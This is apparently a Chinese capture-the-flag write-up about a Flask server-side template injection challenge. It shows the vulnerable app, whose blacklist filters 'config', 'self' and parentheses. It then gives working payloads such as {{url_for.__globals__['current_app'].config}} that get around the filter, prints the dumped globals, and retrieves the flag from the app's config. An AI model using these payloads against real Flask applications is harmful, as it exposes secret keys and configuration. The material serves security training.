import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
看代码可以看到这里有两个路由,第一个路由在根目录给了源代码,第二个路由在/shrine/下可以跟参数,模板渲染接受的参数需要用两个大括号括起来{{}},所以我们需要在或括号里构造参数形成注入。
简单测试一下,可以看到计算出了结果。
/shrine/{{2+2}}
然后我们会看到代码里有一层黑名单过滤,如果没有黑名单过滤的话,我们可以直接传入config,或者使用self.__dict__,但是config,self,()都被过滤了,为了获取信息,我们需要读取像current_app这样的全局变量。
python的沙箱逃逸,这里可以利用python对象之间的引用管理来调用被禁用的函数对象,这里有两个函数包含了current_app变量,url_for和get_flashed_messages。
我们使用{url_for.__globals__}可以得到。
/shrine/{{url_for.__globals__}}
{'find_package': <function find_package at 0x7fb9c68ca140>, '_find_package_path': <function _find_package_path at 0x7fb9c68ca0c8>, 'get_load_dotenv': <function get_load_dotenv at 0x7fb9c69eca28>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'current_app': <Flask 'app'>, 'PY2': True, 'send_from_directory': <function send_from_directory at 0x7fb9c69eced8>, 'session': <NullSession {}>, 'io': <module 'io' from '/usr/local/lib/python2.7/io.pyc'>, 'get_flashed_messages': <function get_flashed_messages at 0x7fb9c69ecd70>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'is_ip': <function is_ip at 0x7fb9c68ca7d0>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python2.7/pkgutil.pyc'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'url_quote': <function url_quote at 0x7fb9c6c3caa0>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'get_root_path': <function get_root_path at 0x7fb9c69ecf50>, '__package__': 'flask', 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7fb9c6a1c710>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7fb9c69ecaa0>, 'total_seconds': <function total_seconds at 0x7fb9c68ca1b8>, 'fspath': <function fspath at 0x7fb9c6a0ce60>, 'get_env': <function get_env at 0x7fb9c69ec6e0>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'flash': <function flash at 0x7fb9c69eccf8>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python2.7/mimetypes.pyc'>, 'adler32': <built-in function adler32>, 'get_template_attribute': <function get_template_attribute at 0x7fb9c69ecc80>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7fb9c6a11250>, '__builtins__': {'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 'copyright': Copyright (c) 2001-2019 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': <type 'exceptions.NameError'>, 'BytesWarning': <type 'exceptions.BytesWarning'>, 'dict': <type 'dict'>, 'input': <built-in function input>, 'oct': <built-in function oct>, 'bin': <built-in function bin>, 'SystemExit': <type 'exceptions.SystemExit'>, 'StandardError': <type 'exceptions.StandardError'>, 'format': <built-in function format>, 'repr': <built-in function repr>, 'sorted': <built-in function sorted>, 'False': False, 'RuntimeWarning': <type 'exceptions.RuntimeWarning'>, 'list': <type 'list'>, 'iter': <built-in function iter>, 'reload': <built-in function reload>, 'Warning': <type 'exceptions.Warning'>, '__package__': None, 'round': <built-in function round>, 'dir': <built-in function dir>, 'cmp': <built-in function cmp>, 'set': <type 'set'>, 'bytes': <type 'str'>, 'reduce': <built-in function reduce>, 'intern': <built-in function intern>, 'issubclass': <built-in function issubclass>, 'Ellipsis': Ellipsis, 'EOFError': <type 'exceptions.EOFError'>, 'locals': <built-in function locals>, 'BufferError': <type 'exceptions.BufferError'>, 'slice': <type 'slice'>, 'FloatingPointError': <type 'exceptions.FloatingPointError'>, 'sum': <built-in function sum>, 'getattr': <built-in function getattr>, 'abs': <built-in function abs>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'True': True, 'FutureWarning': <type 'exceptions.FutureWarning'>, 'ImportWarning': <type 'exceptions.ImportWarning'>, 'None': None, 'hash': <built-in function hash>, 'ReferenceError': <type 'exceptions.ReferenceError'>, 'len': <built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': <type 'frozenset'>, '__name__': '__builtin__', 'ord': <built-in function ord>, 'super': <type 'super'>, 'TypeError': <type 'exceptions.TypeError'>, 'license': Type license() to see the full license text, 'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>, 'UserWarning': <type 'exceptions.UserWarning'>, 'filter': <built-in function filter>, 'range': <built-in function range>, 'staticmethod': <type 'staticmethod'>, 'SystemError': <type 'exceptions.SystemError'>, 'BaseException': <type 'exceptions.BaseException'>, 'pow': <built-in function pow>, 'RuntimeError': <type 'exceptions.RuntimeError'>, 'float': <type 'float'>, 'MemoryError': <type 'exceptions.MemoryError'>, 'StopIteration': <type 'exceptions.StopIteration'>, 'globals': <built-in function globals>, 'divmod': <built-in function divmod>, 'enumerate': <type 'enumerate'>, 'apply': <built-in function apply>, 'LookupError': <type 'exceptions.LookupError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': <type 'basestring'>, 'UnicodeError': <type 'exceptions.UnicodeError'>, 'zip': <built-in function zip>, 'hex': <built-in function hex>, 'long': <type 'long'>, 'next': <built-in function next>, 'ImportError': <type 'exceptions.ImportError'>, 'chr': <built-in function chr>, 'xrange': <type 'xrange'>, 'type': <type 'type'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Exception': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <type 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in function hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <type 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecationWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in function id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'UnicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'complex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buffer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError': <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.AttributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'text_type': <type 'unicode'>, '__file__': '/usr/local/lib/python2.7/site-packages/flask/helpers.pyc', 'get_debug_flag': <function get_debug_flag at 0x7fb9c69ec7d0>, 'RLock': <function RLock at 0x7fb9c73142a8>, 'safe_join': <function safe_join at 0x7fb9c69ece60>, 'sys': <module 'sys' (built-in)>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'stream_with_context': <function stream_with_context at 0x7fb9c69ecb18>, '_os_alt_seps': [], '__name__': 'flask.helpers', '_missing': <object object at 0x7fb9c74781b0>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python2.7/posixpath.pyc'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python2.7/lib-dynload/unicodedata.so'>, 'wrap_file': <function wrap_file at 0x7fb9c6c52668>, 'socket': <module 'socket' from '/usr/local/lib/python2.7/socket.pyc'>, 'update_wrapper': <function update_wrapper at 0x7fb9c735f1b8>, 'make_response': <function make_response at 0x7fb9c69ecb90>, 'request': <Request 'http://27391f0c-f797-4efa-84b3-7e4bdeb564c7.node3.buuoj.cn/shrine/%7B%7Burl_for.__globals__%7D%7D' [GET]>, 'string_types': (<type 'str'>, <type 'unicode'>), 'message_flashed': <flask.signals._FakeSignal object at 0x7fb9c68c81d0>, '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: 2010 Pallets\n :license: BSD-3-Clause\n', 'send_file': <function send_file at 0x7fb9c69ecde8>, 'time': <built-in function time>, 'url_for': <function url_for at 0x7fb9c69ecc08>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7fb9c68ca050>, 'os': <module 'os' from '/usr/local/lib/python2.7/os.pyc'>}
这里的current_app就是当前使用的app,继续注入当前app的config
/shrine/{{url_for.__globals__['current_app'].config}}
获取到flag。